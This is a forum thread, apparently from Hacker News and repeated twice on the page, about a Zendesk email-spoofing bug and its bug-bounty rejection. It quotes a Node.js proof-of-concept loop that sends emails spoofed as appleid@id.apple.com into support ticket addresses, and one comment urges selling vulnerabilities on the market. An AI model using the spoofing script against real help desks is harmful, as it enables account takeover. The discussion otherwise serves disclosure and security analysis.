5 ms·

> due to email spoofing being out of scope. I believe their logic was that only the domain owner can adequately prevent email spoofing by proper SPF/DMARC conf

by layer8 2y ago

> due to email spoofing being out of scope. I believe their logic was that only the domain owner can adequately prevent email spoofing by proper SPF/DMARC configuration, and that it’s the customers’ fault if they don’t do that. Which isn’t entirely wrong.

deleted 2y ago
[deleted]
radlad 2y ago
Are Google and Apple not doing proper SPF/DMARC/DKIM? I think they probably are - but this attack worked anyway. Zendesk wasn't validating the email senders.
- deleted 2y ago
  [deleted]
- layer8 2y ago
  Apple and Google weren’t involved as email sender addresses.
  - radlad 2y ago
    Read the repro steps again: > Create an Apple account with support@company.com email and request a verification code, Apple sends verification code from appleid@id.apple.com to support@company.com and Zendesk automatically creates a ticket It's a clever attack.
    - Thorrez 2y ago
      I agree with your point, but that email's not the best example because it would have passed SPF/DMARC/DKIM. It's a step or two later that involved sending a spoofed email from appleid@id.apple.com : const sendmail = require('sendmail')(); // Assuming the ticket you created in step #2 was assigned a ticket ID of #453 // verification email landed somewhere near there const range = [448, 457]; for (let i = range[0]; i < range[1]; i++) { // Send spoofed emails from Apple to Zendesk sendmail({ from: 'appleid@id.apple.com', to: `support+id${i}@company.com`, cc: 'daniel@wearehackerone.com', subject: '', html: 'comment body', }, function (err, reply) { console.log(err && err.stack) console.dir(reply) }); };
      - radlad 2y ago
        This is exactly my point: if Apple has SPF/DKIM/DMARC configured correctly, then Zendesk should be validating the email sender. That they didn't is technically an SPF/DKIM/DMARC issue - a bug in Zendesk - but it is not a customer misconfiguration issue.
        tryauuum 2y ago
        if someone's reading this thread: yes, apple does have dmarc / spf $ dig id.apple.com TXT +short "v=spf1 include:_spf-txn.apple.com include:_spf-mkt.apple.com include:_spf.apple.com include:icloud.com ~all" $ dig _dmarc.id.apple.com TXT +short "v=DMARC1; p=reject; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"
        hmottestad 2y ago
        And it’s still out of scope for the HackerOne bug bounty program.
        dns_snek 2y ago
        Future hackers, take note. If vulnerabilities you discover have any chance of being misinterpreted as "out of scope" by some bureaucrat at HackerOne, even though they're obviously applicable and dangerous, sell them on the market instead.
        hmottestad 2y ago
        Got a -1 on this comment. Must mean that I’m wrong and that it’s become part of the scope now! Maybe someone wants to post a link?
        tryauuum 2y ago
        maybe because the issue is not about apple's dns records, so the vulnerability is in scope. One could argue the issue is in zendesk's feature of adding people with an email.
    - tryauuum 2y ago
      I wonder how redirects from support@company.com to zendesk work? if it's via MX records pointing to zendesk that it's zendesk's fault for not checking DMARC If it's another type of redirect then yes, you can blame customers for not verifying DMARC
nightpool 2y ago
Right, but I would be really shocked if Zendesk's internal email handler was doing any SPF/DKIM/DMARC validation at all. So even if a domain has DMARC set up, Zendesk is probably ignoring it. Which is probably pretty reasonable given how rare DMARC reject/quarantine has been historically
UncleMeat 2y ago
In a past life I was involved in a bug bounty program. I don't think the reasoning is as detailed. When you stand up a bug bounty program you get a ton of "I opened developer tools, edited the js on your page, and now the page does something bad" submissions. "I can spoof some email headers and send an email to myself that looks like it is coming from you" isn't something I've specifically seen due to some weird details about my bounty program but it is something I would absolutely expect for many programs to see. So you need a mechanism to reject this stuff. But if that mechanism is just "triage says this is dumb" you get problems. People scream at you for having their nonsense bug rejected. People submit dozens of very slightly altered "bugs" to try to say "you rejected the last one for reason X but this one does Y." So you create a general policy: anything involving email spoofing is out of scope. So then a real bug ends up in front of the triage person. They are tired and busy and look at the report and see "oh this relies on email spoofing, close as out of scope." Sucks. I think that Zendesk's follow up here is crap. They shouldn't be criticizing the author for writing about this bug. But I do very much understand how things end up with a $0 payout for the initial report.

by layer8 2y ago

deleted 2y ago

[deleted]

radlad 2y ago

Are Google and Apple not doing proper SPF/DMARC/DKIM? I think they probably are - but this attack worked anyway. Zendesk wasn't validating the email senders.

deleted 2y ago
[deleted]
layer8 2y ago
Apple and Google weren’t involved as email sender addresses.
- radlad 2y ago
  Read the repro steps again: > Create an Apple account with support@company.com email and request a verification code, Apple sends verification code from appleid@id.apple.com to support@company.com and Zendesk automatically creates a ticket It's a clever attack.
  - Thorrez 2y ago
    I agree with your point, but that email's not the best example because it would have passed SPF/DMARC/DKIM. It's a step or two later that involved sending a spoofed email from appleid@id.apple.com : const sendmail = require('sendmail')(); // Assuming the ticket you created in step #2 was assigned a ticket ID of #453 // verification email landed somewhere near there const range = [448, 457]; for (let i = range[0]; i < range[1]; i++) { // Send spoofed emails from Apple to Zendesk sendmail({ from: 'appleid@id.apple.com', to: `support+id${i}@company.com`, cc: 'daniel@wearehackerone.com', subject: '', html: 'comment body', }, function (err, reply) { console.log(err && err.stack) console.dir(reply) }); };
    - radlad 2y ago
      This is exactly my point: if Apple has SPF/DKIM/DMARC configured correctly, then Zendesk should be validating the email sender. That they didn't is technically an SPF/DKIM/DMARC issue - a bug in Zendesk - but it is not a customer misconfiguration issue.
      - tryauuum 2y ago
        if someone's reading this thread: yes, apple does have dmarc / spf $ dig id.apple.com TXT +short "v=spf1 include:_spf-txn.apple.com include:_spf-mkt.apple.com include:_spf.apple.com include:icloud.com ~all" $ dig _dmarc.id.apple.com TXT +short "v=DMARC1; p=reject; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"
        hmottestad 2y ago
        And it’s still out of scope for the HackerOne bug bounty program.
        dns_snek 2y ago
        Future hackers, take note. If vulnerabilities you discover have any chance of being misinterpreted as "out of scope" by some bureaucrat at HackerOne, even though they're obviously applicable and dangerous, sell them on the market instead.
        hmottestad 2y ago
        Got a -1 on this comment. Must mean that I’m wrong and that it’s become part of the scope now! Maybe someone wants to post a link?
        tryauuum 2y ago
        maybe because the issue is not about apple's dns records, so the vulnerability is in scope. One could argue the issue is in zendesk's feature of adding people with an email.
  - tryauuum 2y ago
    I wonder how redirects from support@company.com to zendesk work? if it's via MX records pointing to zendesk that it's zendesk's fault for not checking DMARC If it's another type of redirect then yes, you can blame customers for not verifying DMARC

nightpool 2y ago

Right, but I would be really shocked if Zendesk's internal email handler was doing any SPF/DKIM/DMARC validation at all. So even if a domain has DMARC set up, Zendesk is probably ignoring it. Which is probably pretty reasonable given how rare DMARC reject/quarantine has been historically

UncleMeat 2y ago

In a past life I was involved in a bug bounty program. I don't think the reasoning is as detailed. When you stand up a bug bounty program you get a ton of "I opened developer tools, edited the js on your page, and now the page does something bad" submissions. "I can spoof some email headers and send an email to myself that looks like it is coming from you" isn't something I've specifically seen due to some weird details about my bounty program but it is something I would absolutely expect for many programs to see. So you need a mechanism to reject this stuff. But if that mechanism is just "triage says this is dumb" you get problems. People scream at you for having their nonsense bug rejected. People submit dozens of very slightly altered "bugs" to try to say "you rejected the last one for reason X but this one does Y." So you create a general policy: anything involving email spoofing is out of scope. So then a real bug ends up in front of the triage person. They are tired and busy and look at the report and see "oh this relies on email spoofing, close as out of scope." Sucks. I think that Zendesk's follow up here is crap. They shouldn't be criticizing the author for writing about this bug. But I do very much understand how things end up with a $0 payout for the initial report.